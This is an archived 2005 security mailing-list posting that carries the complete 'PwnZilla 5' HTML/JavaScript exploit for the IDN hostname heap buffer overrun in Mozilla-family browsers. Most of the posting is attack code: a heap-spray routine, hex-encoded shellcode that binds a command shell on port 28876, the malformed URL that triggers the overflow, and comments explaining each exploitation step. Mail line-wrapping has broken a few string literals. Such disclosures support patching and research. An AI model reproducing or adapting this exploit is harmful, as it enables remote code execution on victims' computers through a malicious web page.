[EXPL] Mozilla Browsers Remote Heap Buffer Overrun (Exploit , 0xAD HOST)

From: SecuriTeam (support_at_securiteam.com)
Date: 09/27/05

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      Mozilla Browsers Remote Heap Buffer Overrun (Exploit , 0xAD HOST)
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.mozilla.org/> Mozilla is - "An open-source XML/HTML browser
    which is implementing full Level 2 DOM support"

    A heap buffer overrun vulnerability exists in Mozilla browsers, exploiting
    this vulnerability this exploit binds a shell on port 28876.

    DETAILS

    Exploit:
    < HTML>< SCRIPT>
    /*
    _______________________________________________________________________________
                                            
       SSSSSSS, SSSSSSS' PwnZilla 5 - One sploit fits all. (FireFox
    optimized)
      iSY iS; .sS* Exploit for IDN host name heap buffer overrun in
      .SSSSSSS* .sS* Mozilla browsers (FireFox, Mozilla and Netscape)
      iS; .sS* Copyright (C) 2003-2005 by Berend-Jan Wever.
     .SS sSSSSSSP < berendjanwever@gmail.com>
    _______________________________________________________________________________
         Official release: http://www.milw0rm.com/id.php?id=1224

     This program is free software; you can redistribute it and/or modify it
    under
     the terms of the GNU General Public License version 2, 1991 as published
    by
     the Free Software Foundation.

     This program is distributed in the hope that it will be useful, but
    WITHOUT
     ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
    FITNESS
     FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
     details.

     A copy of the GNU General Public License can be found at:
      http://www.gnu.org/licenses/gpl.html
     or you can write to:
      Free Software Foundation, Inc.
      59 Temple Place - Suite 330
      Boston, MA 02111-1307
      USA.

        One sploit to rule them all, One sploit to find them,
        One sploit to bring them all and to port 28876 bind them.

        Credits and thanks:
        Aviv Raff - Thanks for helping me advance the heap spray technology.
        str0ke/www.milw0rm.com - Thanks for testing and hosting the exploit.
        HDM/www.metasploit.com - Thanks for the basis of my shellcode.

        Technical details:
        Since Netscape has not replied to reports about this vulnerability
    I've
        chosen to release it. Since there is no patch out yet, this version
    does
        not target all affected browsers. It is optimized to work with
    FireFox, who
        do have a patch out, but on a rare occasion it will work in Netscape.

        This exploits a heap overrun. Rather then trying to beat the security
    of
        modern heap managers, I ignore them and try to overwrite data in the
        heap blocks after the block we overrun. It's a game of chance where we
        hope the targetted browser will use this overwritten data in a call
    before
        it throws an access violation. We have some control over the odds,
    more
        on that later.

        Exploitation is achieved by using the same old heap blocks trick that
    I've
        published about a year ago in my Internet Exploiter exploits. It
    creates a
        string that contains a nopslide and a shellcode. This string is
    (almost)
        exactly large enough to fit into a large heap block. It makes copies
        of the string to create more large heap blocks. These heap blocks will
    fill
        all memory between roughly 0x02000000 and 0x28081976. The nopslide
    consists
        of values that can be used as code and pointers; these pointers will
    all
        point to addresses in this same region of memory.
        The actually vulnerability is used when it creates a number of image
        objects and set their "src" to a url that exploits it to overwrite
    random
        parts of heap memory with a range of addresses that all point to the
    large
        heap blocks.
        While it continues to create more and more images, chances are that
    some
        part of FireFox will use the overwritten parts of the heap in a "call"
    or
        "jmp". This will cause our shellcode to get executed.

        Previous exploits have all relied on one address being used in the
    nopslide
        and in exploiting the vulnerability to overwrite EIP, that's why you
    see
        0x0D0D0D0D in so many of my exploits and other exploits based on my
    code.
        Because in previous exploits the vulnerable code would just read from
    this
        address and/or call it, this worked pretty well.
        This exploit is overwriting random parts of the heap and may therefore
        overwrite a number of pointers that may be used in a write operation.
        This causes a problem if some part of the code writes to one of our
        addresses first and then another part calls it, thereby executing
        whatever value the first part overwrote it with as assembly. This may
        translate to instructions that cause exceptions, preventing the
    exploit
        from working. To increase our chances of success, we supply it with a
        variety of addresses, in an effort to make different parts of the
        program use different addresses and hope we end up with executing a
        "clean" nopslide.

        For Netscape, addresses < 0x10000000 have proven to not work because
    it
        has a tendency to add random blocks to the heap while we're spraying
        (for no apparent reason). These somehow always end up exactly where we
        don't want them.

    */
      var startDate = new Date();
        var iFillToAddress = 0x28081976;
      var iHeapBlockSize = 0x00200000;
        var iHeapHeaderSize = 0x40; // This should work for all
    browsers/OS-es.
      var iHeapStartAddress = 0x00420000;
      // The %uXXXX encoding proved hard for a lot of people... damn n00bs!
        var sShellcodeBytes = // Make sure the number of bytes is EVEN!
            "90 90 90 90 eb 43 56 57 8b 45 3c 8b 54 05 78 01 ea 52 8b 52 20 01
    " +
            "ea 31 c0 31 c9 41 8b 34 8a 01 ee 31 ff c1 cf 13 ac 01 c7 85 c0 75
    " +
            "f6 39 df 75 ea 5a 8b 5a 24 01 eb 66 8b 0c 4b 8b 5a 1c 01 eb 8b 04
    " +
            "8b 01 e8 5f 5e ff e0 fc 31 c0 64 8b 40 30 8b 40 0c 8b 70 1c ad 8b
    " +
            "68 08 31 c0 66 b8 6c 6c 50 68 33 32 2e 64 68 77 73 32 5f 54 bb 71
    " +
            "a7 e8 fe e8 90 ff ff ff 89 ef 89 c5 81 c4 70 fe ff ff 54 31 c0 fe
    " +
            "c4 40 50 bb 22 7d ab 7d e8 75 ff ff ff 31 c0 50 50 50 50 40 50 40
    " +
            "50 bb a6 55 34 79 e8 61 ff ff ff 89 c6 31 c0 50 50 35 02 01 70 cc
    " +
            "fe cc 50 89 e0 50 6a 10 50 56 bb 81 b4 2c be e8 42 ff ff ff 31 c0
    " +
            "50 56 bb d3 fa 58 9b e8 34 ff ff ff 58 60 6a 10 54 50 56 bb 47 f3
    " +
            "56 c6 e8 23 ff ff ff 89 c6 31 db 53 68 2e 63 6d 64 89 e1 41 31 db
    " +
            "56 56 56 53 53 31 c0 fe c4 40 50 53 53 53 53 53 53 53 53 53 53 6a
    " +
            "44 89 e0 53 53 53 53 54 50 53 53 53 43 53 4b 53 53 51 53 87 fd bb
    " +
            "21 d0 05 d0 e8 df fe ff ff 5b 31 c0 48 50 53 bb 43 cb 8d 5f e8 cf
    " +
            "fe ff ff 56 87 ef bb 12 6b 6d d0 e8 c2 fe ff ff 83 c4 5c 61 eb 89
    ";
        var sShellcode = unescape(
            sShellcodeBytes.replace(
                // ...I now use regular expressions (thanks, Secunia! :P)
                /\s*([0-9A-Fa-f][0-9A-Fa-f])\s*([0-9A-Fa-f][0-9A-Fa-f])/g,
                "%u$2$1"
            )
        );

        // Experimenting with a debugger has let to this string, which uses
    the max
        // hostname length FireFox allows (63 bytes) to create the largest
        // overwrite possible. Each of the 0xAD-s gets expanded into two
    bytes,
        // which in theory would allow for a 126 bytes overwrite. But in
    practise
        // FireFox will use 32 of these bytes for other things like the
    "http://",
        // '/', '\0' and some other stuff. This leaves us with 94 bytes and a
    \0 to
        // overwrite heap memory with.
        var sURL = unescape(
            "http://" +
            "%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD +
            "%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD" +
            "%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD +
            "%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD" +
            "%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD +
            "%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD" +
            "/" +
            // Characters under 0x21 cannot be used, neither can 0x22. This
            // is what we overwrite the heap with, so everything needs to be a
            // pointer to one of our nopslides.
            "%21%21%25%21%23%21%24%25%25%23%25%24%23%23%24%24" +
            "%21%21%25%21%23%21%24%25%25%23%25%24%23%23%24%24" +
            "%21%21%25%21%23%21%24%25%25%23%25%24%23%23%24%24" +
            "%21%21%25%21%23%21%24%25%25%23%25%24%23%23%24%24" +
            "%21%21%25%21%23%21%24%25%25%23%25%24%23%23%24%24" +
            "%21%21%25%21%23%21%24%25%25%23%25%24%23%23"
        );
      // Create one nopslide -------------------------------------------------
      var sNopslide = "";
      var iNopslideSize = iHeapBlockSize - iHeapHeaderSize
                         - sShellcode.length * 2 - 2; // NULL terminator adds
    2
      var sAllWorkAndNoPlayMakesJackADullBoy = unescape(
        // A list of addresses we hope our browser will use in a call or jmp.
        // They should all point to a nopslide, preferably all to a different
        // one _and_ be valid "nop" instructions too.
            "%u1414%u1415%u141C%u141D%u1514%u1515%u151C%u151D" +
            "%u1C14%u1C15%u1C1C%u1C1D%u1D14%u1D15%u1D1C%u1D1D"
        );
      // (Make sure that ^^^ has a length that is a power of 2 (2, 4, 8 ,16,
    ..)
      // The code below isn't sophisticated enough to handled other lengths.
      for (var bit = Math.pow(2, 31); bit > 1; bit /= 2) {
        sNopslide += sNopslide + (
            iNopslideSize & (bit*sAllWorkAndNoPlayMakesJackADullBoy.length) ?
            sAllWorkAndNoPlayMakesJackADullBoy : ""
        );
      }
      // We've only made complete copies of the string, we may need a part of
    it
      // to make it exactly the size we want it to be:
      sNopslide = sNopslide + sAllWorkAndNoPlayMakesJackADullBoy.substr(0,
        iNopslideSize/2 - sNopslide.length
      );
      // How many blocks do we need to fill memory up to
    iHeap_fill_to_address?
      var iHeapBlockCount = Math.ceil(
        (iFillToAddress - iHeapStartAddress) / iHeapBlockSize
      );

      // Show copyright message and some stats
    ----------------------------------
      document.write(
        "< H2>Pwnzilla< /H2>" +
        "< B>Copyright (C) 2003-2005 Berend-Jan \"SkyLined\" Wever.< /B>< BR>"
    +
            "This program is released under the GNU Public License version 2,
    " +
            "1991 and comes with ABSOLUTELY NO WARRANTY. View source for " +
            "details.< HR>" +
        "< H2>Multi threaded heap spray 2005< /H2>" +
            "Assumed heap header size: " + number(iHeapHeaderSize) + " bytes.<
    BR>"+
        "Nopslide size: " + number(sNopslide.length*2) + " bytes.< BR>" +
            "Shellcode size: " + number(sShellcode.length*2) + " bytes.< BR>"
    +
        "Heap blocks size: " + number(iHeapBlockSize) + " bytes.< BR>" +
            "< SPAN id=\"heapBlockStatus\">" +
            "Allocating " + number(iHeapBlockCount) + " heap blocks...< BR>"
    +
                "< DIV style=\"border:1px solid black; background:#808080; " +
                "width:500px;\">< DIV style=\"text-align:right; " +
                "border-right:1px solid black; background:#00FF00;\" " +
                "id=\"progressBar\">0< /DIV>< /DIV>" +
            "< /SPAN>" +
            "< SPAN id=\"exploitStatus\">< /SPAN>"
        );
      var heapBlockStatusElement = document.getElementById("heapBlockStatus");
        var progressBarElement = document.getElementById("progressBar");
        var exploitStatusElement = document.getElementById("exploitStatus");

      var asHeapBlocks = new Array();

        // The next part uses timeouts to run in the background.
      createHeapBlock();
      function createHeapBlock() {
        if (asHeapBlocks.length < iHeapBlockCount) {
              // Create a heap block
    --------------------------------------------
            asHeapBlocks.push(sNopslide + '' + sShellcode);
            var percentageDone = Math.round(
                100*asHeapBlocks.length/iHeapBlockCount
            );
                progressBarElement.innerHTML =
                    "< NOBR>" +
                        bytes(asHeapBlocks.length*asHeapBlocks[0].length*2) +
                    "< /NOBR>";
                progressBarElement.style.width = percentageDone + "%";
                setTimeout(arguments.callee, 10);
            } else {
              // Done creating heap blocks
    --------------------------------------
              // Show stats
            heapBlockStatusElement.innerHTML =
                "Heap blocks count: " + asHeapBlocks.length + ".< BR>" +
                "Total heap consumption: " +
                    bytes(asHeapBlocks.length*asHeapBlocks[0].length*2) +
                    ".< BR>" +
                    "Elapsed time: " +
                        time(new Date() - startDate) + ".< HR>" +
                "< H2>Exploit< /H2>" +
                "Attack URL (size: " +
                    number(sURL.length*2) + " bytes):< BR>" +
                """ + escape(sURL) + ""< BR>< BR>";
              // Ask if you want to get pwned
              exploitStatusElement.innerHTML =
                    "< BUTTON onclick=\"FiredFox();\">" +
                        "Click here if you want to run the actual exploit" +
                    "< /BUTTON>";
            }
        } // createHeapBlock()
        function FiredFox() {
            exploitStatusElement.innerHTML =
                "Running exploit code...< BR>" +
                "(It may take some time before the exploit works. You should "
    +
                "see a progress bar below. If it stops, it either worked and a
    " +
                "shell is waiting for you at port 28876 or your browser has "
    +
                "gone into an infinite loop).< BR>";
            setInterval(function() {
                var oElement = new Image();
                oElement.src = sURL+""; // This is where we abuse the flaw.
                oElement.border = 1;
                oElement.width = 1;
                oElement.height = 10;
                document.body.appendChild(oElement);
            }, 1);
        } // FiredFox()

        function number(iValue) {
            // Returns a "pretty" string representation of a number:
            // number(1000000.5) == "1,000,000.5"
            var sResult = "" + iValue;
            
            for (var sResult = ""; iValue > 0; iValue =
    Math.floor(iValue/1000)) {
                sResult = (iValue % 1000) +
                    (sResult.length > 0 ? "," + sResult : "");
                if (iValue > 1000 && sResult.length % 4 < 3)
                    sResult = "0" + sResult;
            }
            return sResult;
        } // number()

        function bytes(iValue) {
            // Returns a "pretty" string representation of a number of bytes:
            // bytes(1000000.5) == "976.57 KB"
            var aUnits = new Array(
            "Bytes", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB"
          );
          for (var i = 0; iValue > 1024; i++, iValue /= 1024) {}
          sResult = number(Math.ceil(iValue * 100) / 100) + // Two decimals
            " " + aUnits[i]
            return sResult;
        }// bytes()
        function time(iValue) {
            // Returns a "pretty" string representation of an elapsed number
    of
            // milliseconds:
            // time(1000000.5) == "16m 40s 1 s"
            var aUnits = new Array(
                new Array(1000, unescape("%u03BCs")),
                new Array(60, "s"),
                new Array(60, "m"),
                new Array(24, "h"),
                new Array(7, "d"),
                new Array(52, "y")
            );
            sResult = "";
            
            for(var i=0; iValue > 0 && i< aUnits.length; i++) {
                var iSize = aUnits[i][0], sUnit = aUnits[i][1];
                sResult = Math.round(iValue % iSize) + sUnit +
                    (i>0 ? " " : "") + sResult;
            iValue = Math.floor(iValue / iSize);
        }
        return sResult;
        } // time()
    < /SCRIPT>< /HTML>

    ADDITIONAL INFORMATION

    The information has been provided by Berend-Jan Wever.
    The original article can be found at:
    <http://www.milw0rm.com/id.php?id=1224>
    http://www.milw0rm.com/id.php?id=1224

    ========================================

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